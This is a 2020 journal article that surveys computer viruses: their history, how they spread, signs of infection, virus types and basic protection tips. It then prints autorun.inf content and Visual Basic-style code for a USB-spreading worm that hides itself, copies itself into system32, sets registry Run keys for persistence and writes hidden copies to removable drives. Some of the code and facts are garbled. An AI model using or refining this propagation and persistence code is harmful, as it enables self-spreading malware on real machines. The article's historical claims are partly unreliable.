ICONTECH INTERNATIONAL JOURNAL OF SURVEYS, ENGINEERING, TECHNOLOGY
ISSN 2717-7270
Journal homepage: http://icontechjournal.com/index.php/iij

IMPLEMENTATION OF A VIRUS WITH TREATMENT AND PROTECTION METHODS

Renas Rajab ASAAD

Department of Computer Science, Nawroz University, Duhok, Kurdistan Region of Iraq

ARTICLE INFO	ABSTRACT
Keywords Security Viruses Protections Anti-Virus	Currently, viruses are the most dangerous things that happens to computers, whether by transferring data or from the Internet cloud. This research paper shows how to implement a virus that has an ability to move and fortify itself from deletion or destroying. A strong virus must have automatic multiplication, automatic transmission between devices, copying itself in important locations on the computer and performing unauthorized actions and instructions in the computer. So in this research paper it will also shows how to get rid of such viruses and ways to prevent them or providing a good security for the users.

INTRODUCTION

The viruses was developed in 1971 by Robert Thomas, engineer at BBN Technologies, and it has been known as Creeper; As he was displaying a message saying: “I'm a creeper: catch me if you can.” (I’m the creeper: Catch me if you can).

The first computer virus detected was Elk Cloner, which infected Apple II operating systems with floppy disks, and displayed a comic message on infected computers.[1]

Elk Cloner, developed by 15-year-old Richard Skrenta in 1982, was considered a joke, but it showed the possibility and possibility of a possible malware being installed in Apple computer memory, with the ability to prevent users from removing it. The term computer virus was not used again until a year later, when Fred Cohen, the scientific paper has been published in title Computer viruses with theory and experiments in 1983 the work was for students are graduated from California University.[1]

VIRUSES SPREAD METHODS

i. E-mails.
ii. FTP.
iii. IRC or ICQ.
iv. Peer to Peer Networks.

Received 22 July 2020; Received in revised form 30 July 2020; Accepted 10 August 2020;
Available online 15 September 2020
doi: 10.46291/ICONTECHvol4iss2pp28-34

v. Internet
vi. USB.

SIGNS OF INFECTION WITH VIRUSES

Computer virus attacks can be associated with a variety of symptoms.[2] Including:

a. Recurring popups

Pop-ups may encourage visiting unusual or unwanted websites, or even encourage you to download antivirus software from the logic of fraud!

b. Changes to the home page

Your regular homepage may change to another location, and you may not even be able to reset it.

c. Email

Sending a group of emails from own account. The criminal may take control of your account and send messages in your name from another infected computer.

d. Repeated Crashes

The virus can cause severe damage to the hard disk, which may cause the device to freeze or malfunction, and even prevent it from booting again.

e. Bugs in computer performance

A sudden change in the speed of processing operations may indicate that a virus has been tampering with the system.

f. Anonymous programs or processes that start when the computer is turned on

It can be distinguished by the observing user directly when the system boots, or by displaying the running processes in the task manager.

g. Unusual activities such as password modifying

What could prevent you from logging into your computer.

Infection Stages [3]

- Latency stage: the virus hides in the device for a while.
- The stage of proliferation: The virus begins to copy itself, circulate in the programs, infect it, and place its mark in it.
- The stage of attracting the trigger: the stage of the explosion at a specific date or day, like Chernobyl virus.
- Damage stage: The device is sabotaged.

Received 22 July 2020; Received in revised form 30 July 2020; Accepted 10 August 2020;
Available online 15 September 2020
doi: 10.46291/ICONTECHvol4iss2pp28-34

ISSN 2717-7270
Journal homepage: http://icontechjournal.com/index.php/iij

COMPUTER VIRUS PROTECTION METHODS [4]

a. Use a reliable antivirus product.
b. Avoid clicking on any pop-up ads.
c. Always check email attachments before opening them.
d. Always delete files downloaded using file sharing software.

Types of computer viruses

i. Boot Sector Virus

This type can control your computer, whether when the device boots up or starts up the system, and the most common way it can spread is by connecting an infected USB drive to your device.[4]

ii. Web Scripting Virus

This kind of viruses are written in languages are used for web-browser and it's inject codes inside it or in web pages, then it is works when users open any web-sites contain these codes.

iii. Hijacker

It hijacks some functions of your web browser, as you may be automatically directed to a strange site compulsorily, and never intended by you.

iv. Resident Virus

This kind of viruses it's term to copying itself to inside a system memory, and this action make a virus work every time with OS loading.

v. Direct Action Virus

This type is triggered when starting or opening a file has a virus, or, it remains silent and silent without action.

vi. Polymorphic Virus

This kind is a changeable virus because it's change it's code when executing it to avoid any anti-virus program.

vii. File infector

This computer virus - which is very common, its add a malicious code into EXE files; They are files used to perform certain functions or processes on a system.

viii. Multipartite virus

This type of virus infects devices, and spreads through them in several ways. For example, it can make a bugs in program and system files together.

Received 22 July 2020; Received in revised form 30 July 2020; Accepted 10 August 2020;
Available online 15 September 2020
doi: 10.46291/ICONTECHvol4iss2pp28-34

ix. Macro virus

The language of this kind of virus are same as a Macro language, used for programs and applications, and it spreads when an infected document is opened, often through attaching a file in an email.

USEFUL VIRUSES

In fact, yes, there is a very small subset good computer viruses - so to speak - like the Cruncher virus, which compresses every file that infects it, and theoretically seeks help by providing valuable hard disk space.[5]

For example, too, there is this virus called Linux.Wifatch, which appears to do nothing but prevent other viruses from breaking into the router.

Linux.Wifatch is itself a viral infection; It infects the device without the user's consent and coordinates its actions through a peet-to-peer peer-to-peer network but instead of harming you, it works as a kind of security guard, but of course there are much better ways to secure the router than this program, so even Linux.Wifatch creators acknowledge that Not to trust him.[5]

From a similar aspect; There are well-intentioned viruses, behaving like a vaccine; It forces people, companies, and governments to reinforce their own safety measures, and thus contributes to countering real threats, and it is interesting to note that some virus creators have always argued that they are making the world safer; By noting that there are security vulnerabilities and flaws that can be exploited by other viruses with malicious intent.[5]

IMPLEMENTATION OF A VIRUS WITH FULL ABILITIES

The viruses are program run on the computers, so to design a virus it should have these important files (abilities).[6]

a. Auto Multiplication.
b. Auto transmission.
c. Copying itself in important locations on the computer.
d. Performing unauthorized actions and instructions.

Implementations Virus's Files

a. Auto Run File

This file contain some lines of codes make a virus run automatically when the virus entered to the computer through (USB, CD/DVD, or Internet Transmission) saved as (.inf).

```
//First File Code
[autorun]
Shell\open\default=1
Shell\explore\command= virusfile.exe
Shell\open\command= virusfile.exe
Open= firusfile.exe
Shell\autoplay\command= firusfile.exe
```

Received 22 July 2020; Received in revised form 30 July 2020; Accepted 10 August 2020;
Available online 15 September 2020
doi: 10.46291/ICONTECHvol4iss2pp28-34

ISSN 2717-7270
Journal homepage: http://icontechjournal.com/index.php/iij

b. Execution File

This file for executing virus and choosing a logo for the file, then storing with system files.

c. Main File

It's a main file for copying the virus and attached files with ability to multiplicate itself, then save itself on register files to auto run with starting OS.

For Example

```
//Running Virus code
Public runvirus()
{
Winpath = environ$("windir")
On error resume next
App.taskvisible = False
Select case app.path
Case winpath & "\system32"
    RunVirus;
Case else
//if its first time for the virus on this computer so its copying it's file to the device
FileCopy App.Path & "firusfile.exe", winpath & "\system32\virusfile.exe"
FileCopy App.Path & "autorun.inf", "\system32\autorun.inf"
//Then copying itself on registries
RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\virusfile.ex
e, winpath & "\system32\virusfile.exe"
RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\autorun.inf, winpath & "\system32\autorun.inf"

//open the virus file
Shell winpath & "\system32\virusfile.exe"
OpenExplore (App.Path)
}
```

The second method is for giving an action to virus:

```
DoEvents
  On Error Resume Next
Drive1.Refresh
 For Drv = 0 To Drive1.ListCount - 1
    Drive1.Drive = Drive1.List(Drv)
If GetDriveType(Drive1.Drive) = 2 Then
```

Received 22 July 2020; Received in revised form 30 July 2020; Accepted 10 August 2020;
Available online 15 September 2020
doi: 10.46291/ICONTECHvol4iss2pp28-34

```
If Dir(Drive1.Drive & "\virusfile.exe") = "" Or Dir(Drive1.Drive
_
       & "\ virusfile.exe", vbHidden) = "" Then
FileCopy App.Path & "\winlog0n.exe", Drive1.Drive &
"\virusfile.exe"
            FileCopy App.Path & "\virusfile.exe", Drive1.Drive &
"\ virusfile.exe"
            SetAttr Drive1.Drive & "\ virusfile.exe", vbHidden
           RegWrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\winlog0n.exe\UIHost", _
           winpath & "\system32\virusfile.exe"
Enf If

SetAttr Drive1.Drive & "\autorun.inf", vbNormal
Open Drive1.Drive & "\autorun.inf" For Output As #1
    Print #1, "[autorun]"
    Print #1, "shell\open\default=1"
    Print #1, "shell\explore\command =virusfile.exe"
    Print #1, "shell\open\command = virusfile.exe"
    Print #1, "open= virusfile.exe"
  Print #1, "shell\autoplay\command = virusfile.exe"
Close #1
```

CONCLUSION

Viruses are a program to create a malfunction within the system, and you can design a virus program to fight another virus if the malware and intruders are identified on the computer. Protecting your computer from viruses is one of the most important steps necessary to take to avoid many problems, including hacking and system failures, and even deleting data on the computer. In this research, we discussed many ways to identify the virus and protect it, and how to write an amalgam program with a virus. Through this research, users will benefit from how to protect their evidence whenever the viruses are identified by users and finding treatment for it.

Received 22 July 2020; Received in revised form 30 July 2020; Accepted 10 August 2020;
Available online 15 September 2020
doi: 10.46291/ICONTECHvol4iss2pp28-34

REFERENCES

[1] Edge, C., & O'Donnell, D. (2016). Malware Security: Combating Viruses, Worms, and Root Kits. In Enterprise Mac Security (pp. 221-242). Apress, Berkeley, CA.

[2] Hasan, M. Z., Hussain, M. Z., & Ullah, Z. (2019). Computer Viruses, Attacks, and Security Methods. LGURJCSIT, 3(3), 20-25.

[3] B Horbatenko, V. S. (2018). Viruses. Executing Principles and Methods of Self-Security. Scientific and practical cyber security journal.

[4] Shahrear, P., Chakraborty, A. K., Islam, M. A., & Habiba, U. (2018). Analysis of computer virus propagation based on compartmental model. Applied and Computational Mathematics, 7(1-2), 12-21.

[5] Bernstein, A. (2019). Computer viruses: how to inoculate your business. Nursing And Residential Care, 21(12), 702-704.

[6] Shekhar, R. S. (2016). A Research Study on Computer Virus And Security Synopsis.

Received 22 July 2020; Received in revised form 30 July 2020; Accepted 10 August 2020;
Available online 15 September 2020
doi: 10.46291/ICONTECHvol4iss2pp28-34